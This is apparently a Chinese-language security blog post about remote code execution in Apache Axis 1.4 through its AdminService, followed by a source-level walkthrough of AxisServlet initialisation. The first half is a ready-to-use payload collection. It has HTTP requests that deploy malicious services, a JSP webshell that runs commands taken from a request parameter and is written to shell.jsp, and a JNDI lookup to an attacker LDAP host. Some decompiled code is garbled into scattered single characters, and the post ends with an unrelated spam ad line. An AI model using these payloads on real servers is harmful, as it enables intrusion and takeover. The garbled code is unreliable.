0x01 漏洞复现#
漏洞版本:axis=<1.4
Axis1.4
freemarker
下载Axis包1.4版本将Axis放到tomcat的webapp目录中。freemarker.jar放到Axis的 lib目录下。运行tomcat即可。
WEB-INF/web.xml 中将该配置取消注释
AdminServlet /servlet/AdminServlet 原创复现需要将/WEB-INF下面的server-config.wsdd文件中的内容进行编辑一下 http://xml.apache.org/axis/wsdd/ enableRemoteAdmin的值改成true运行远程调用。server-config.wsdd文件会在远程机器访问/servlet/AdminServlet路由时候进行创建。
接下来对该接口进行发送payload测试
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance”
xmlns:api=“http://127.0.0.1/Integrics/Enswitch/API”
xmlns:xsd=“http://www.w3.org/2001/XMLSchema”
xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Body
<ns1:deployment
xmlns=“http://xml.apache.org/axis/wsdd/”
xmlns:java=“http://xml.apache.org/axis/wsdd/providers/java”
xmlns:ns1=“http://xml.apache.org/axis/wsdd/”>
<ns1:service name=“RandomService” provider=“java:RPC”>
<ns1:parameter name=“className” value=“java.util.Random”/>
<ns1:parameter name=“allowedMethods” value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
爆了一个ns1:Client.NoSOAPAction错误。
看了一下AdminServlet的代码,发现dopost方法里面调用的getSoapAction这个判断逻辑貌似有点问题
上面req.getHeader(“SOAPAction”);获取header里面SOAPAction的值,如果为空则取Content-Type里面的action。都为空则直接返回,来到下面这段逻辑。
if (soapAction == null) {
AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null);
exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af);
throw af;
}
这里只需要header加入SOAPAction参数,填充任意值,让服务端获取到不为空,能解决了这个问题。
使用上面payload,创建好恶意的service后,下面来调用一下恶意的service。
/axis/services/RandomService
payload:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
<%@page import=“java.util.,java.io.”%><% if (request.getParameter(“c”) != null) { Process p = Runtime.getRuntime().exec(request.getParameter(“c”)); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
文件写入成功
重新打开server-config.wsdd文件发现内容已经发生了变化
payload整理#
org.apache.axis.handlers.LogHandler#
POST请求:
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 777
<soap:Envelope xmlns:soap=“http://schemas.xmlsoap.org/soap/envelope/” >
soap:Body
</soap:Body>
</soap:Envelope>
GET请求:
GET /axis/services/AdminService?method=!–%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22…%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
调用service:
POST /axis/services/randomBBB HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 700
<soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=“http://www.w3.org/2001/XMLSchema” xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:util=“http://util.java”>
soapenv:Header/
soapenv:Body
<util:ints soapenv:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”>
<![CDATA[ <% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %> ]]>
?
</util:ints>
</soapenv:Body>
</soapenv:Envelope>
该方式写文件需要解析,遇到Springboot就凉凉。
org.apache.axis.client.ServiceFactory#
POST请求:
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 750
<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:api=“http://127.0.0.1/Integrics/Enswitch/API” xmlns:xsd=“http://www.w3.org/2001/XMLSchema”>
soapenv:Body
<ns1:deployment xmlns:ns1=“http://xml.apache.org/axis/wsdd/” xmlns=“http://xml.apache.org/axis/wsdd/” xmlns:java=“http://xml.apache.org/axis/wsdd/providers/java”>
<ns1:service name=“ServiceFactoryService” provider=“java:RPC”>
<ns1:parameter name=“className” value=“org.apache.axis.client.ServiceFactory”/>
<ns1:parameter name=“allowedMethods” value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
GET请求:
GET /axis/services/AdminService?method=!–%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
调用service:
POST /axis/services/ServiceFactoryService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 891
<soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=“http://www.w3.org/2001/XMLSchema” xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:cli=“http://client.axis.apache.org”>
soapenv:Header/
soapenv:Body
<cli:getService soapenv:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”>
jndiName
ldap://xxx.xx.xx.xxx:8888/Exploit
</cli:getService>
</soapenv:Body>
</soapenv:Envelope>
这个点需要利用JNDI注入
com.sun.script.javascript.RhinoScriptEngine#
POST请求:
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 905
<soap:Envelope xmlns:soap=“http://schemas.xmlsoap.org/soap/envelope/” >
soap:Body
</soap:Body>
</soap:Envelope>
GET请求:
GET /axis/services/AdminService?method=!–%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
调用service:
POST /axis/services/RhinoScriptEngineService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 866
</soapenv:Body></soapenv:Envelope>
该方式有JDK版本要求 JDK版本必须要为7或7以下版本。JDK7版本后ScriptEngine被废除了,使用了NashornScriptEngine进行代替,NashornScriptEngine类不能直接被利用
解析流程分析#
Init#
AxisServlet
Apache-Axis Servlet
org.apache.axis.transport.http.AxisServlet
…
AxisServlet
/services/*
看到org.apache.axis.transport.http.AxisServlet
public void init() throws ServletException {
super.init();
ServletContext context = this.getServletConfig().getServletContext();
isDebug = log.isDebugEnabled();
if (isDebug) {
log.debug(“In servlet init”);
}
this.transportName = this.getOption(context, "transport.name", "http");
if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) {
this.securityProvider = new ServletSecurityProvider();
}
this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null));
this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null);
this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false"));
this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/");
if (this.jwsClassDir != null) {
if (this.getHomeDir() != null) {
this.jwsClassDir = this.getHomeDir() + this.jwsClassDir;
}
} else {
this.jwsClassDir = this.getDefaultJWSClassDir();
}
//初始化查询Handler,即wsdl对应的handler,用于wsdl文件生成
this.initQueryStringHandlers();
try {
ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo());
} catch (AxisFault var3) {
exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3);
}
}
把所有以jws结尾或者services路径的的URL均由AxisServlet进行处理
super.init();
org.apache.axis.transport.http.init
public void init() throws ServletException {
ServletContext context = this.getServletConfig().getServletContext();
this.webInfPath = context.getRealPath("/WEB-INF");
this.homeDir = context.getRealPath("/");
isDebug = log.isDebugEnabled();
if (log.isDebugEnabled()) {
log.debug(“In AxisServletBase init”);
}
this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null));
}
org.apache.axis.transport.http.getOption
protected String getOption(ServletContext context, String param, String dephault) {
String value = AxisProperties.getProperty(param);
if (value == null) {
value = this.getInitParameter(param);
}
if (value == null) {
value = context.getInitParameter(param);
}
try {
AxisServer engine = getEngine(this);
if (value == null && engine != null) {
value = (String)engine.getOption(param);
}
} catch (AxisFault var6) {
}
return value != null ? value : dephault;
}
org.apache.axis.transport.http.getEngine
public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
AxisServer engine = null;
if (isDebug) {
log.debug(“Enter: getEngine()”);
}
ServletContext context = servlet.getServletContext();
synchronized(context) {
engine = retrieveEngine(servlet);
if (engine == null) {
Map environment = getEngineEnvironment(servlet);
engine = AxisServer.getServer(environment);
engine.setName(servlet.getServletName());
storeEngine(servlet, engine);
}
}
if (isDebug) {
log.debug("Exit: getEngine()");
}
return engine;
}
org.apache.axis.transport.http.getEngineEnvironment
从当前上下文中获取AxisServer Engine,如果返回为null,则进行初始化并存储至上下文中
protected static Map getEngineEnvironment(HttpServlet servlet) {
Map environment = new HashMap();
String attdir = servlet.getInitParameter(“axis.attachments.Directory”);
if (attdir != null) {
environment.put(“axis.attachments.Directory”, attdir);
}
ServletContext context = servlet.getServletContext();
environment.put("servletContext", context);
String webInfPath = context.getRealPath("/WEB-INF");
if (webInfPath != null) {
environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
}
EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
if (config != null) {
environment.put("engineConfig", config);
}
return environment;
}
这里返回的是一个org.apache.axis.configuration.EngineConfigurationFactoryServlet工厂实例
调用getServerEngineConfig来到org.apache.axis.configuration.getServerEngineConfig,
EngineConfigurationFactoryFinder.newFactory(servlet)返回org.apache.axis.configuration.EngineConfigurationFactoryServlet工厂实例,并通过private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)新建EngineConfiguration实现类:FileProvider对象(即server-config.wsdd的文件操作类)
代码流程回到getEngineEnvironment
protected static Map getEngineEnvironment(HttpServlet servlet) {
Map environment = new HashMap();
String attdir = servlet.getInitParameter(“axis.attachments.Directory”);
if (attdir != null) {
environment.put(“axis.attachments.Directory”, attdir);
}
ServletContext context = servlet.getServletContext();
environment.put("servletContext", context);
String webInfPath = context.getRealPath("/WEB-INF");
if (webInfPath != null) {
environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
}
EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
if (config != null) {
environment.put("engineConfig", config);
}
return environment;
}
environment.put(“engineConfig”, config);
把刚刚读取server-config.wsdd的对象,存储到map中进行返回。
逻辑走到org.apache.axis.transport.http.getEngine
public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
AxisServer engine = null;
if (isDebug) {
log.debug(“Enter: getEngine()”);
}
ServletContext context = servlet.getServletContext();
synchronized(context) {
engine = retrieveEngine(servlet);
if (engine == null) {
Map environment = getEngineEnvironment(servlet);
engine = AxisServer.getServer(environment);
engine.setName(servlet.getServletName());
storeEngine(servlet, engine);
}
}
org.apache.axis.server.AxisServer
public static AxisServer AxisServer(Map environment) throws AxisFault {
if (factory == null) {
String factoryClassName = AxisProperties.getProperty(“axis.ServerFactory”);
if (factoryClassName != null) {
try {
Class factoryClass = ClassUtils.forName(factoryClassName);
if ((class
o
r
g
org
orgapache
a
x
i
s
axis
axisserver
A
x
i
s
S
e
r
v
e
r
F
a
c
t
o
r
y
=
=
n
u
l
l
?
(
c
l
a
s
s
AxisServerFactory == null ? (class
AxisServerFactory==null?(classorg
a
p
a
c
h
e
apache
apacheaxis
s
e
r
v
e
r
server
serverAxisServerFactory = class
(
"
o
r
g
.
a
p
a
c
h
e
.
a
x
i
s
.
s
e
r
v
e
r
.
A
x
i
s
S
e
r
v
e
r
F
a
c
t
o
r
y
"
)
)
:
c
l
a
s
s
("org.apache.axis.server.AxisServerFactory")) : class
("org.apache.axis.server.AxisServerFactory")):classorg
a
p
a
c
h
e
apache
apacheaxis
s
e
r
v
e
r
server
serverAxisServerFactory).isAssignableFrom(factoryClass)) {
factory = (AxisServerFactory)factoryClass.newInstance();
}
} catch (Exception var3) {
log.error(Messages.getMessage(“exception00”), var3);
}
}
if (factory == null) {
factory = new DefaultAxisServerFactory();
}
}
return factory.getServer(environment);
}
加载到重载getServer方法
public AxisServer getServer(Map environment) throws AxisFault {
log.debug(“Enter: DefaultAxisServerFactory::getServer”);
AxisServer ret = createServer(environment);
if (ret != null) {
if (environment != null) {
ret.setOptionDefault(“attachments.Directory”, (String)environment.get(“axis.attachments.Directory”));
ret.setOptionDefault(“attachments.Directory”, (String)environment.get(“servlet.realpath”));
}
String attachmentsdir = (String)ret.getOption("attachments.Directory");
if (attachmentsdir != null) {
File attdirFile = new File(attachmentsdir);
if (!attdirFile.isDirectory()) {
attdirFile.mkdirs();
}
}
}
log.debug("Exit: DefaultAxisServerFactory::getServer");
return ret;
}
private static AxisServer createServer(Map environment) {
EngineConfiguration config = getEngineConfiguration(environment);
return config == null ? new AxisServer() : new AxisServer(config);
}
public AxisServer(EngineConfiguration config) {
super(config);
this.running = true;
this.setShouldSaveConfig(true);
}
org.apache.axis.AxisEngine
public AxisEngine(EngineConfiguration config) {
this.config = config;
this.init();
}
org.apache.axis.AxisEngine
public void init() {
if (log.isDebugEnabled()) {
log.debug(“Enter: AxisEngine::init”);
}
try {
this.config.configureEngine(this);
} catch (Exception var2) {
throw new InternalException(var2);
}
org.apache.axis.configuration.FileProvider
public void configureEngine(AxisEngine engine) throws ConfigurationException {
try {
if (this.getInputStream() == null) {
try {
this.setInputStream(new FileInputStream(this.configFile));
} catch (Exception var3) {
if (this.searchClasspath) {
this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true));
}
}
}
if (this.getInputStream() == null) {
throw new ConfigurationException(Messages.getMessage("noConfigFile"));
} else {
WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream()));
//部署或者取消部署,这个得看文档配置
this.deployment = doc.getDeployment();
//定义所有数据配置此AxisEngine
this.deployment.configureEngine(engine);
//刷新内容
engine.refreshGlobalOptions();
this.setInputStream((InputStream)null);
}
} catch (Exception var4) {
throw new ConfigurationException(var4);
}
}
以上这整体解析流程为configureEngine解析server-config.wsdd服务配置。将配置文件中的各种属性handler、globalConfiguration、service、transport缓存至WSDDDeployment类中。刷新global配置选项即将server-config.wsdd配置文件中globalConfiguration节点中的parameter属性集合由AxisEngine持有。
以上就已经完成了init的
doGet#
看到doGet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (isDebug) {
log.debug(“Enter: doGet()”);
}
FilterPrintWriter writer = new FilterPrintWriter(response);
try {
AxisEngine engine = this.getEngine();
ServletContext servletContext = this.getServletConfig().getServletContext();
String pathInfo = request.getPathInfo();
String realpath = servletContext.getRealPath(request.getServletPath());
if (realpath == null) {
realpath = request.getServletPath();
}
boolean isJWSPage = request.getRequestURI().endsWith(".jws");
if (isJWSPage) {
pathInfo = request.getServletPath();
}
if (this.processQuery(request, response, writer)) {
return;
}
亚马逊测评 www.yisuping.cn